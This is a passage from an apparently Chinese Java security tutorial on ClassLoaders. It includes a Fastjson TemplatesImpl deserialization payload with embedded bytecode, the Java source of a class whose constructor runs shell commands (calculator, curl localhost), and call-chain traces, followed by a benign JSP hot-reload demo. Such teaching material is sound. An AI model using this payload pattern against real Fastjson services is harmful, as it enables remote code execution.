YSBDYWxjdWxhdG9yLmFwcAEAB29zLm5hbWUHADMMADQANQEAB1dpbmRvd3MHADEMADYANwEAFmNhbGMgMTIzNDU2Nzg5MDEyMzQ1NjcBAAVMaW51eAEAFGN1cmwgbG9jYWxob3N0Ojk5OTkvBwA4DAA5ADoMADsAPAEAE2phdmEvaW8vSU9FeGNlcHRpb24MAD0AEQEALmNvbS9hbmJhaS9zZWMvY2xhc3Nsb2FkZXIvVGVzdEFic3RyYWN0VHJhbnNsZXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAQamF2YS9sYW5nL1N0cmluZwEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAOAA8AAAAAAAMAAQAQABEAAQASAAAAowACAAQAAAA5KrcAARICTBIDuAAETSwSBbYABpkACRIHTKcADywSCLYABpkABhIJTLgACiu2AAtXpwAITi22AA2xAAEAKAAwADMADAACABMAAAAyAAwAAAANAAQADgAHAA8ADQARABYAEgAcABMAJQAUACgAGAAwABsAMwAZADQAGgA4ABwAFAAAABgABP8AHAADBwAVBwAWBwAWAAALSgcAFwQAAQAYABkAAgASAAAAGQAAAAMAAAABsQAAAAEAEwAAAAYAAQAAACEAGgAAAAQAAQAbAAEAGAAcAAIAEgAAABkAAAAEAAAAAbEAAAABABMAAAAGAAEAAAAmABoAAAAEAAEAGwABAB0AAAACAB4="],"_name":"","_tfactory":{},"_outputProperties":{}}

@type 标注的是需要反序列化的类名com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,_bytecodes是经过Base64编码(FastJson会自动解码成byte[])后的com.anbai.sec.classloader.TestAbstractTranslet类字节码,_name、_tfactory、_outputProperties 没有什么实际意义这里保持不为空就可以了。

传入的_bytecodes字节码是class文件经过Base64编码的字符串(Linux下可以使用base64命令,如:base64 TestAbstractTranslet.class),该类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,示例中的TestAbstractTranslet.java的代码如下:

package com.anbai.sec.classloader;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class TestAbstractTranslet extends AbstractTranslet {public TestAbstractTranslet() {// Windows和MacOS是弹出计算器,Linux会执行curl localhost:9999/String command = "open -a Calculator.app";String osName  = System.getProperty("os.name");if (osName.startsWith("Windows")) {command = "calc 12345678901234567";} else if (osName.startsWith("Linux")) {command = "curl localhost:9999/";}try {Runtime.getRuntime().exec(command);} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator it, SerializationHandler handler) throws TransletException {}
}

Fastjson会创建com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类实例,并通过json中的字段去映射TemplatesImpl类中的成员变量,比如将_bytecodes 经过Base64解码后将byte[] 映射到TemplatesImpl类的_bytecodes上,其他字段同理。但仅仅是属性映射是无法触发传入的类实例化的,还必须要调用getOutputProperties()方法才会触发defineClass(使用传入的恶意类字节码创建类)和newInstance(创建恶意类实例,从而触发恶意类构造方法中的命令执行代码),此时已是万事俱备,只欠东风了。

Fastjson在解析类成员变量(com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField) 的时候会将private Properties _outputProperties;属性与getOutputProperties()关联映射(FastJson的smartMatch()会忽略_、-、is(仅限boolean/Boolean类型) ,所以能够匹配到getOutputProperties()方法),因为_outputProperties是Map类型(Properties是Map的子类)所以不需要通过set方法映射值(fieldInfo.getOnly),因此在setValue的时候会直接调用getOutputProperties()方法,如下图:

调用getOutputProperties()方法后会触发类创建和实例化,如下图:

defineClass TestAbstractTranslet调用链:

java.lang.ClassLoader.defineClass(ClassLoader.java:794)
java.lang.ClassLoader.defineClass(ClassLoader.java:643)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:163)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:367)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:404)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:439)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:460)
com.anbai.sec.classloader.XalanTemplatesImpl.invokeField(XalanTemplatesImpl.java:150)
com.anbai.sec.classloader.XalanTemplatesImpl.main(XalanTemplatesImpl.java:176)

创建TestAbstractTranslet类实例,如下图:

创建TestAbstractTranslet类实例时就会触发TestAbstractTranslet构造方法中的命令执行代码,调用链如下:

java.lang.Runtime.exec(Runtime.java:347)
com.anbai.sec.classloader.TestAbstractTranslet.<init>(TestAbstractTranslet.java:24)
sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
java.lang.reflect.Constructor.newInstance(Constructor.java:526)
java.lang.Class.newInstance(Class.java:383)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:408)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:439)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:460)
com.anbai.sec.classloader.XalanTemplatesImpl.invokeField(XalanTemplatesImpl.java:150)
com.anbai.sec.classloader.XalanTemplatesImpl.main(XalanTemplatesImpl.java:176)

0x12 JSP类加载

JSP是JavaEE中的一种常用的脚本文件,可以在JSP中调用Java代码,实际上经过编译后的jsp就是一个Servlet文件,JSP和PHP一样可以实时修改。

众所周知,Java的类是不允许动态修改的(这里特指新增类方法或成员变量),之所以JSP具备热更新的能力,实际上借助的就是自定义类加载行为,当Servlet容器发现JSP文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待GC。

示例 - 模拟的JSP文件动态加载程序:

package com.anbai.sec.classloader;import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.io.File;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;public class TestJSPClassLoader {/*** 缓存JSP文件和类加载,刚jsp文件修改后直接替换类加载器实现JSP类字节码热加载*/private final Map<File, JSPClassLoader> jspClassLoaderMap = new HashMap<File, JSPClassLoader>();/*** 创建用于测试的test.jsp类字节码,类代码如下:* <pre>* package com.anbai.sec.classloader;** public class test_jsp {*     public void _jspService() {*         System.out.println("Hello...");*     }* }* </pre>** @param className 类名* @param content   用于测试的输出内容,如:Hello...* @return test_java类字节码* @throws Exception 创建异常*/public static byte[] createTestJSPClass(String className, String content) throws Exception {// 使用Javassist创建类字节码ClassPool classPool = ClassPool.getDefault();// 创建一个类,如:com.anbai.sec.classloader.test_jspCtClass ctServletClass = classPool.makeClass(className);// 创建_jspService方法CtMethod ctMethod = new CtMethod(CtClass.voidType, "_jspService", new CtClass[]{}, ctServletClass);ctMethod.setModifiers(Modifier.PUBLIC);// 写入hello方法代码ctMethod.setBody("System.out.println(\"" + content + "\");");// 将hello方法添加到类中ctServletClass.addMethod(ctMethod);// 生成类字节码byte[] bytes = ctServletClass.toBytecode();// 释放资源ctServletClass.detach();return bytes;}/*** 检测jsp文件是否改变,如果发生了修改就重新编译jsp并更新该jsp类字节码** @param jspFile   JSP文件对象,因为是模拟的jsp文件所以这个文件不需要存在* @param className 类名* @param bytes     类字节码* @param parent    JSP的父类加载*/public JSPClassLoader getJSPFileClassLoader(File jspFile, String className, byte[] bytes, ClassLoader parent) {JSPClassLoader jspClassLoader = this.jspClassLoaderMap.get(jspFile);// 模拟第一次访问test.jsp时jspClassLoader是空的,因此需要创建if (jspClassLoader == null) {jspClassLoader = new JSPClassLoader(parent);jspClassLoader.createClass(className, bytes);// 缓存JSP文件和所使用的类加载器this.jspClassLoaderMap.put(jspFile, jspClassLoader);return jspClassLoader;}// 模拟第二次访问test.jsp,这个时候内容发生了修改,这里实际上应该检测文件的最后修改时间是否相当,// 而不是检测是否是0,因为当jspFile不存在的时候返回值是0,所以这里假设0表示这个文件被修改了,// 那么需要热加载该类字节码到类加载器。if (jspFile.lastModified() == 0) {jspClassLoader = new JSPClassLoader(parent);jspClassLoader.createClass(className, bytes);// 缓存JSP文件和所使用的类加载器this.jspClassLoaderMap.put(jspFile, jspClassLoader);return jspClassLoader;}return null;}/*** 使用动态的类加载器调用test_jsp#_jspService方法** @param jspFile   JSP文件对象,因为是模拟的jsp文件所以这个文件不需要存在* @param className 类名* @param bytes     类字节码* @param parent    JSP的父类加载*/public void invokeJSPServiceMethod(File jspFile, String className, byte[] bytes, ClassLoader parent) {JSPClassLoader jspClassLoader = getJSPFileClassLoader(jspFile, className, bytes, parent);try {// 加载com.anbai.sec.classloader.test_jsp类Class<?> jspClass = jspClassLoader.loadClass(className);// 创建test_jsp类实例Object jspInstance = jspClass.newInstance();// 获取test_jsp#_jspService方法Method jspServiceMethod = jspClass.getMethod("_jspService");// 调用_jspService方法jspServiceMethod.invoke(jspInstance);} catch (Exception e) {e.printStackTrace();}}public static void main(String[] args) throws Exception {TestJSPClassLoader test = new TestJSPClassLoader();String      className   = "com.anbai.sec.classloader.test_jsp";File        jspFile     = new File("/data/test.jsp");ClassLoader classLoader = ClassLoader.getSystemClassLoader();// 模拟第一次访问test.jsp文件自动生成test_jsp.javabyte[] testJSPClass01 = createTestJSPClass(className, "Hello...");test.invokeJSPServiceMethod(jspFile, className, testJSPClass01, classLoader);// 模拟修改了test.jsp文件,热加载修改后的test_jsp.classbyte[] testJSPClass02 = createTestJSPClass(className, "World...");test.invokeJSPServiceMethod(jspFile, className, testJSPClass02, classLoader);}/*** JSP类加载器*/static class JSPClassLoader extends ClassLoader {public JSPClassLoader(ClassLoader parent) {super(parent);}/*** 创建类** @param className 类名* @param bytes     类字节码*/public void createClass(String className, byte[] bytes) {defineClass(className, bytes, 0, bytes.length);}}}

该示例程序通过Javassist动态生成了两个不同的com.anbai.sec.classloader.test_jsp类字节码,模拟JSP文件修改后的类加载,核心原理就是检测到JSP文件修改后动态替换类加载器,从而实现JSP热加载,具体的处理逻辑如下(第3和第4部未实现,使用了Javassist动态创建):

  • 模拟客户端第一次访问test.jsp
  • 检测是否已缓存了test.jsp的类加载
  • Servlet容器找到test.jsp文件并编译成test_jsp.java(未实现)
  • 编译成test_jsp.class文件(未实现)
  • 创建test.jsp文件专用的类加载器jspClassLoader,并缓存到jspClassLoaderMap对象中
  • jspClassLoader加载test_jsp.class字节码并创建com.anbai.sec.classloader.test_jsp类
  • jspClassLoader调用com.anbai.sec.classloader.test_jsp 类的_jspService方法
  • 输出Hello…
  • 模拟客户端第二次访问test.jsp
  • 假设test.jsp文件发生了修改,重新编译test.jsp并创建一个新的类加载器jspClassLoader加载新的类字节码
  • 使用新创建的jspClassLoader类加载器调用com.anbai.sec.classloader.test_jsp类的_jspService方法
  • 输出World…

0x13 总结

ClassLoader是JVM中一个非常重要的组成部分,ClassLoader可以为我们加载任意的java类,通过自定义ClassLoader更能够实现自定义类加载行为

参考链接

https://blog.csdn.net/qq_45449318/article/details/118733201

https://blog.csdn.net/qq_27046951/article/details/82024214

https://xie1997.blog.csdn.net/article/details/107021477

https://www.freesion.com/article/6149446538/

https://www.cnblogs.com/wuyida/p/6300342.html

https://www.cnblogs.com/trevain/p/15843423.html

https://zhishihezi.net/攻击JavaWeb应用-[Java Web安全]的Classloader(类加载机制)

https://zhishihezi.net/攻击JavaWeb应用


你以为你有很多路可以选择,其实你只有一条路可以走


「Java代码审计」Java代码审计基础知识「一」相关推荐

  1. 作为一名Java开发者应该掌握的基础知识汇总!

    Java语言作为热门编程语言之一,受到了更多的欢迎.今天小千就为大家介绍一下作为一名Java开发者应该掌握的基础知识. 一.修饰符 java语言中提供了一些修饰符,这些修饰符可以修饰类,变量和方法. ...

  2. Java开发者需要掌握的基础知识

    Java语言作为热门编程语言之一,受到了更多的欢迎.今天小千就为大家介绍一下作为一名Java开发者应该掌握的基础知识. 一.修饰符 java语言中提供了一些修饰符,这些修饰符可以修饰类,变量和方法.以 ...

  3. Java中易忽略的基础知识

    欢迎关注我的公众号[软件大爆炸] Java学习中的碎碎念 Java中易忽略的基础知识 Java面向对象基础 Java中的核心类 Java抽象类和接口 Java中的异常 Java中的泛型与集合 Java ...

  4. JAVA面试题之JVM基础知识

    JAVA面试题总结-JVM的基础知识 JAVA面试题之JVM基础知识 说一下JVM的主要组成部分及作用 说一下 jvm 运行时数据区? 说一下堆和栈的区别? 队列和栈是什么?有什么区别? 什么是双亲委 ...

  5. Java 面试知识点解析(一)——基础知识篇

    前言: 在遨游了一番 Java Web 的世界之后,发现了自己的一些缺失,所以就着一篇深度好文:知名互联网公司校招 Java 开发岗面试知识点解析 ,来好好的对 Java 知识点进行复习和学习一番,大 ...

  6. java入门第六天课程_Java基础知识——第六天

    原标题:Java基础知识--第六天 在前面的第四天,已经简单的介绍下了Java中类的结构,今天就深入的说下类的深层结构. 在Java中,可以在同一个类中定义两个或多个共享相同名称的方法,只要它们的参数 ...

  7. java填空题_Java语言基础知识填空题

    Java语言基础知识填空题 想学java语言的人,要多做题才能巩固知识,下面小编为大家带来了Java语言基础知识的填空题,欢迎大家阅读! Java语言基础知识填空题. 1.浮点型数据根据数据存储长度和 ...

  8. java 标识符_java标识符的基础知识

    java标识符的基础知识 程序员在定义java程序时,自定义的一些名字,例如helloworld 程序里关键字class后跟的Demo,就是我们定义的类名.下面整理了一些java标识符的基础知识,一起 ...

  9. JAVA音视频解决方案----视频基础知识

    序言 公司现在在做汽车终端的平台,需要了解交通部808,1078的终端协议.  尤其是1078是关于音视频的协议.故此开始入坑java的音视频解决方案.本系列文章涉及一个完整的音视频服务搭建.大概整理 ...

  10. java逻辑符号怎么打_Java基础知识之运算符和输入输出

    知识是珍宝,但实践是得到它的钥匙.--托马斯·富勒 Java基础知识之运算符和输入输出 一.运算符1.算术运算符:包括:+,-,*,/(整数运算取整),%(取余),++(递增1),–等 2.赋值运算符 ...

最新文章

  1. 计算机财务应用实验心得,计算机会计实习心得-20210628124643.doc-原创力文档
  2. Cell二连发 | 广东CDC/耶鲁大学利用纳米孔测序揭示中/美新冠病毒基因组流行病学传播规律...
  3. linux 标准IO缓冲机制探究
  4. ###《Effective STL》--Chapter3
  5. POJ3185(简单BFS,主要做测试使用)
  6. function函数嵌套 matlab_Matlab函数进阶:使用匿名函数和内嵌函数处理多变量传递问题...
  7. c#单纯发送post请求一个URL得到返回值
  8. Conflux吐槽君:IOTA物联网电磁炉-让PoW的耗电没有遗憾
  9. php 什么函数获取ip,php函数获取在线ip与客户端ip
  10. 【Boost】boost库的随机数的例子
  11. java map映射_java8流操作之map映射
  12. Java--第2天--Html(二)
  13. Tilera 64核处理器快速上手
  14. 【Usaco2009 gold 】拯救奶牛
  15. 项目4-分数类和整型数的四则运算
  16. 自制p站小姐姐图片返回api.
  17. C语言学习笔记——typedef
  18. xml转json以及调用websrvices传参
  19. 使用 Javascript 强制刷新图像
  20. SylixOS 设备树

热门文章

  1. A星算法的理解和C#实现
  2. 计算机黑屏或死机怎么办,激光打标机电脑黑屏或死机时怎么办?
  3. AD按键扫描中串联电阻转换值的计算方法
  4. 嵌入式Linux开发环境搭建实验
  5. 夜谈TCP/IP的起源和胜利
  6. 牛顿插值法的Python程序
  7. 电子面单平台JAVA对接方案
  8. STM32F103 与 STM32F207/407编程的区别自我总结
  9. Qt学习之Qt基础入门(上)
  10. 聊天室 java代码_java聊天室的实现代码